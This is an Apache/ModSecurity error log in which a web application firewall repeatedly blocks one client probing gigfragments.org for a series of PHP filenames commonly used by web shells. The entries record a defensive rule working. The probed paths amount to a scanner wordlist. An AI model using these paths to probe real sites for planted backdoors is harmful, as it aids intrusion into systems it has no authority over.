[Sat May 16 05:07:32.205673 2026] [:error] [pid 24867:tid 24899] [client 20.195.182.164:15426] [client 20.195.182.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/f5.php"] [unique_id "ageLFCDgFLCgyKq-zmblvwAAABI"]
[Sat May 16 05:07:32.913714 2026] [:error] [pid 24867:tid 24904] [client 20.195.182.164:15454] [client 20.195.182.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/f5.php"] [unique_id "ageLFCDgFLCgyKq-zmblwQAAABc"]
[Sat May 16 05:07:33.558948 2026] [:error] [pid 24979:tid 24987] [client 20.195.182.164:16664] [client 20.195.182.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/f5.php"] [unique_id "ageLFbvSFUQiwLaOL2oerAAAAMY"]
[Sat May 16 05:07:34.610804 2026] [:error] [pid 24979:tid 24993] [client 20.195.182.164:24851] [client 20.195.182.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/f5.php"] [unique_id "ageLFrvSFUQiwLaOL2oesAAAAMw"]
[Sat May 16 05:07:35.784989 2026] [:error] [pid 24869:tid 24931] [client 20.195.182.164:13152] [client 20.195.182.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/view.php"] [unique_id "ageLF-xo3FMprMltYl74pwAAAFc"]
[Sat May 16 05:07:36.441166 2026] [:error] [pid 5602:tid 5628] [client 20.195.182.164:22846] [client 20.195.182.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/view.php"] [unique_id "ageLGNzTTsu77r3UIsmrLAAAARg"]
[Sat May 16 05:07:37.179440 2026] [:error] [pid 5602:tid 5619] [client 20.195.182.164:6300] [client 20.195.182.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/view.php"] [unique_id "ageLGdzTTsu77r3UIsmrLwAAAQ8"]
[Sat May 16 05:07:37.978973 2026] [:error] [pid 5602:tid 5625] [client 20.195.182.164:16670] [client 20.195.182.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/view.php"] [unique_id "ageLGdzTTsu77r3UIsmrMgAAARU"]
[Sat May 16 05:07:57.878156 2026] [:error] [pid 24874:tid 24949] [client 20.195.182.164:6300] [client 20.195.182.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/a1.php"] [unique_id "ageLLciii6x3XidYGHGS0gAAAI4"]
[Sat May 16 05:07:58.547136 2026] [:error] [pid 5602:tid 5614] [client 20.195.182.164:7496] [client 20.195.182.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/a1.php"] [unique_id "ageLLtzTTsu77r3UIsmrTAAAAQo"]
[Sat May 16 05:07:59.467523 2026] [:error] [pid 24869:tid 24924] [client 20.195.182.164:7537] [client 20.195.182.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/a1.php"] [unique_id "ageLL-xo3FMprMltYl74rAAAAFA"]
[Sat May 16 05:08:00.219442 2026] [:error] [pid 5602:tid 5628] [client 20.195.182.164:1690] [client 20.195.182.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/a1.php"] [unique_id "ageLMNzTTsu77r3UIsmrUQAAARg"]
[Sat May 16 05:08:01.409397 2026] [:error] [pid 24867:tid 24889] [client 20.195.182.164:20021] [client 20.195.182.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ms-edit.php"] [unique_id "ageLMSDgFLCgyKq-zmbl3gAAAAg"]
[Sat May 16 05:08:02.772147 2026] [:error] [pid 24867:tid 24895] [client 20.195.182.164:4070] [client 20.195.182.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ms-edit.php"] [unique_id "ageLMiDgFLCgyKq-zmbl4QAAAA4"]
[Sat May 16 05:08:03.555471 2026] [:error] [pid 24869:tid 24923] [client 20.195.182.164:21589] [client 20.195.182.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ms-edit.php"] [unique_id "ageLM-xo3FMprMltYl74sAAAAE8"]
[Sat May 16 05:08:04.755072 2026] [:error] [pid 24869:tid 24910] [client 20.195.182.164:4539] [client 20.195.182.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ms-edit.php"] [unique_id "ageLNOxo3FMprMltYl74sQAAAEI"]
[Sat May 16 05:08:05.525971 2026] [:error] [pid 24874:tid 24953] [client 20.195.182.164:1381] [client 20.195.182.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/8.php"] [unique_id "ageLNciii6x3XidYGHGS1wAAAJI"]
[Sat May 16 05:08:06.217102 2026] [:error] [pid 5602:tid 5625] [client 20.195.182.164:10565] [client 20.195.182.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/8.php"] [unique_id "ageLNtzTTsu77r3UIsmrWAAAARU"]
[Sat May 16 05:08:06.851439 2026] [:error] [pid 5602:tid 5618] [client 20.195.182.164:10589] [client 20.195.182.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/8.php"] [unique_id "ageLNtzTTsu77r3UIsmrWQAAAQ4"]
[Sat May 16 05:08:07.686034 2026] [:error] [pid 24867:tid 24901] [client 20.195.182.164:23062] [client 20.195.182.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/8.php"] [unique_id "ageLNyDgFLCgyKq-zmbl5QAAABQ"]
[Sat May 16 05:08:08.311582 2026] [:error] [pid 24867:tid 24892] [client 20.195.182.164:10577] [client 20.195.182.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xltt.php"] [unique_id "ageLOCDgFLCgyKq-zmbl5gAAAAs"]
[Sat May 16 05:08:08.997578 2026] [:error] [pid 24869:tid 24931] [client 20.195.182.164:16394] [client 20.195.182.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xltt.php"] [unique_id "ageLOOxo3FMprMltYl74tAAAAFc"]
[Sat May 16 05:08:09.624174 2026] [:error] [pid 24874:tid 24945] [client 20.195.182.164:21577] [client 20.195.182.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xltt.php"] [unique_id "ageLOciii6x3XidYGHGS2AAAAIo"]
[Sat May 16 05:08:10.249062 2026] [:error] [pid 24874:tid 24944] [client 20.195.182.164:16454] [client 20.195.182.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xltt.php"] [unique_id "ageLOsiii6x3XidYGHGS2wAAAIk"]
[Sat May 16 05:08:10.893209 2026] [:error] [pid 5602:tid 5614] [client 20.195.182.164:21520] [client 20.195.182.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/cilus.php"] [unique_id "ageLOtzTTsu77r3UIsmrXwAAAQo"]
[Sat May 16 05:08:11.510479 2026] [:error] [pid 24867:tid 24902] [client 20.195.182.164:11082] [client 20.195.182.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/cilus.php"] [unique_id "ageLOyDgFLCgyKq-zmbl6AAAABU"]
[Sat May 16 05:08:12.194077 2026] [:error] [pid 5602:tid 5628] [client 20.195.182.164:3417] [client 20.195.182.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/cilus.php"] [unique_id "ageLPNzTTsu77r3UIsmrZAAAARg"]
[Sat May 16 05:08:12.822864 2026] [:error] [pid 5602:tid 5619] [client 20.195.182.164:10623] [client 20.195.182.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/cilus.php"] [unique_id "ageLPNzTTsu77r3UIsmraAAAAQ8"]
[Sat May 16 05:08:13.528792 2026] [:error] [pid 5602:tid 5625] [client 20.195.182.164:6652] [client 20.195.182.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/press.php"] [unique_id "ageLPdzTTsu77r3UIsmraQAAARU"]
[Sat May 16 05:08:14.441828 2026] [:error] [pid 5602:tid 5604] [client 20.195.182.164:7198] [client 20.195.182.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/press.php"] [unique_id "ageLPtzTTsu77r3UIsmrbAAAAQA"]
[Sat May 16 05:08:15.122812 2026] [:error] [pid 5602:tid 5616] [client 20.195.182.164:17701] [client 20.195.182.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/press.php"] [unique_id "ageLP9zTTsu77r3UIsmrbwAAAQw"]
[Sat May 16 05:08:16.831861 2026] [:error] [pid 24979:tid 24989] [client 20.195.182.164:4513] [client 20.195.182.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/press.php"] [unique_id "ageLQLvSFUQiwLaOL2oe3wAAAMg"]
[Sat May 16 05:08:17.676481 2026] [:error] [pid 24979:tid 24986] [client 20.195.182.164:11091] [client 20.195.182.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file6.php"] [unique_id "ageLQbvSFUQiwLaOL2oe5AAAAMU"]
[Sat May 16 05:08:18.658463 2026] [:error] [pid 24869:tid 24915] [client 20.195.182.164:3421] [client 20.195.182.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file6.php"] [unique_id "ageLQuxo3FMprMltYl74tgAAAEc"]
[Sat May 16 05:08:19.378682 2026] [:error] [pid 24869:tid 24917] [client 20.195.182.164:10621] [client 20.195.182.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file6.php"] [unique_id "ageLQ-xo3FMprMltYl74uAAAAEk"]
[Sat May 16 05:08:20.002536 2026] [:error] [pid 5602:tid 5613] [client 20.195.182.164:4484] [client 20.195.182.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file6.php"] [unique_id "ageLRNzTTsu77r3UIsmreQAAAQk"]
[Sat May 16 05:08:20.791111 2026] [:error] [pid 24979:tid 25005] [client 20.195.182.164:2136] [client 20.195.182.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ss.php"] [unique_id "ageLRLvSFUQiwLaOL2oe5wAAANg"]
[Sat May 16 05:08:22.657554 2026] [:error] [pid 24979:tid 24999] [client 20.195.182.164:12059] [client 20.195.182.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ss.php"] [unique_id "ageLRrvSFUQiwLaOL2oe6gAAANI"]
[Sat May 16 05:08:23.748013 2026] [:error] [pid 24979:tid 24995] [client 20.195.182.164:13569] [client 20.195.182.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ss.php"] [unique_id "ageLR7vSFUQiwLaOL2oe6wAAAM4"]
[Sat May 16 05:08:24.555041 2026] [:error] [pid 24979:tid 24989] [client 20.195.182.164:13621] [client 20.195.182.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ss.php"] [unique_id "ageLSLvSFUQiwLaOL2oe7wAAAMg"]
[Sat May 16 05:08:25.416442 2026] [:error] [pid 5602:tid 5608] [client 20.195.182.164:6120] [client 20.195.182.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ws78.php"] [unique_id "ageLSdzTTsu77r3UIsmrgwAAAQQ"]
[Sat May 16 05:08:26.448720 2026] [:error] [pid 24874:tid 24956] [client 20.195.182.164:10590] [client 20.195.182.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ws78.php"] [unique_id "ageLSsiii6x3XidYGHGS5AAAAJU"]
[Sat May 16 05:08:27.071398 2026] [:error] [pid 24874:tid 24957] [client 20.195.182.164:10616] [client 20.195.182.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ws78.php"] [unique_id "ageLS8iii6x3XidYGHGS5QAAAJY"]
[Sat May 16 05:08:39.550573 2026] [:error] [pid 24869:tid 24920] [client 20.195.182.164:10587] [client 20.195.182.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ws78.php"] [unique_id "ageLV-xo3FMprMltYl74zAAAAEw"]
[Sat May 16 05:08:40.801513 2026] [:error] [pid 5602:tid 5605] [client 20.195.182.164:16204] [client 20.195.182.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/options.php"] [unique_id "ageLWNzTTsu77r3UIsmrpgAAAQE"]
[Sat May 16 05:08:41.690917 2026] [:error] [pid 24979:tid 25005] [client 20.195.182.164:8965] [client 20.195.182.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/options.php"] [unique_id "ageLWbvSFUQiwLaOL2oe9gAAANg"]
[Sat May 16 05:08:42.466990 2026] [:error] [pid 24979:tid 24994] [client 20.195.182.164:12878] [client 20.195.182.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/options.php"] [unique_id "ageLWrvSFUQiwLaOL2oe-AAAAM0"]
[Sat May 16 05:08:43.563929 2026] [:error] [pid 5602:tid 5626] [client 20.195.182.164:5262] [client 20.195.182.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/options.php"] [unique_id "ageLW9zTTsu77r3UIsmrsAAAARY"]
[Sat May 16 05:08:44.299335 2026] [:error] [pid 24979:tid 24987] [client 20.195.182.164:11784] [client 20.195.182.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/min.php"] [unique_id "ageLXLvSFUQiwLaOL2oe-QAAAMY"]
[Sat May 16 05:08:44.981948 2026] [:error] [pid 24869:tid 24928] [client 20.195.182.164:17162] [client 20.195.182.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/min.php"] [unique_id "ageLXOxo3FMprMltYl74zwAAAFQ"]
[Sat May 16 05:08:46.010735 2026] [:error] [pid 5602:tid 5610] [client 20.195.182.164:16226] [client 20.195.182.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/min.php"] [unique_id "ageLXtzTTsu77r3UIsmrtAAAAQY"]
[Sat May 16 05:08:46.893445 2026] [:error] [pid 24869:tid 24926] [client 20.195.182.164:21130] [client 20.195.182.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/min.php"] [unique_id "ageLXuxo3FMprMltYl740AAAAFI"]
[Sat May 16 05:08:47.761859 2026] [:error] [pid 24869:tid 24929] [client 20.195.182.164:14205] [client 20.195.182.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/img.php"] [unique_id "ageLX-xo3FMprMltYl740QAAAFU"]
[Sat May 16 05:08:48.427335 2026] [:error] [pid 24874:tid 24944] [client 20.195.182.164:24341] [client 20.195.182.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/img.php"] [unique_id "ageLYMiii6x3XidYGHGS7gAAAIk"]
[Sat May 16 05:08:49.115419 2026] [:error] [pid 24869:tid 24913] [client 20.195.182.164:1284] [client 20.195.182.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/img.php"] [unique_id "ageLYexo3FMprMltYl740wAAAEU"]
[Sat May 16 05:08:49.743148 2026] [:error] [pid 24874:tid 24954] [client 20.195.182.164:1317] [client 20.195.182.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/img.php"] [unique_id "ageLYciii6x3XidYGHGS8AAAAJM"]
[Sat May 16 05:08:50.813054 2026] [:error] [pid 5602:tid 5604] [client 20.195.182.164:21126] [client 20.195.182.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/7.php"] [unique_id "ageLYtzTTsu77r3UIsmrvQAAAQA"]
[Sat May 16 05:08:51.513316 2026] [:error] [pid 24874:tid 24959] [client 20.195.182.164:11267] [client 20.195.182.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/7.php"] [unique_id "ageLY8iii6x3XidYGHGS8gAAAJg"]
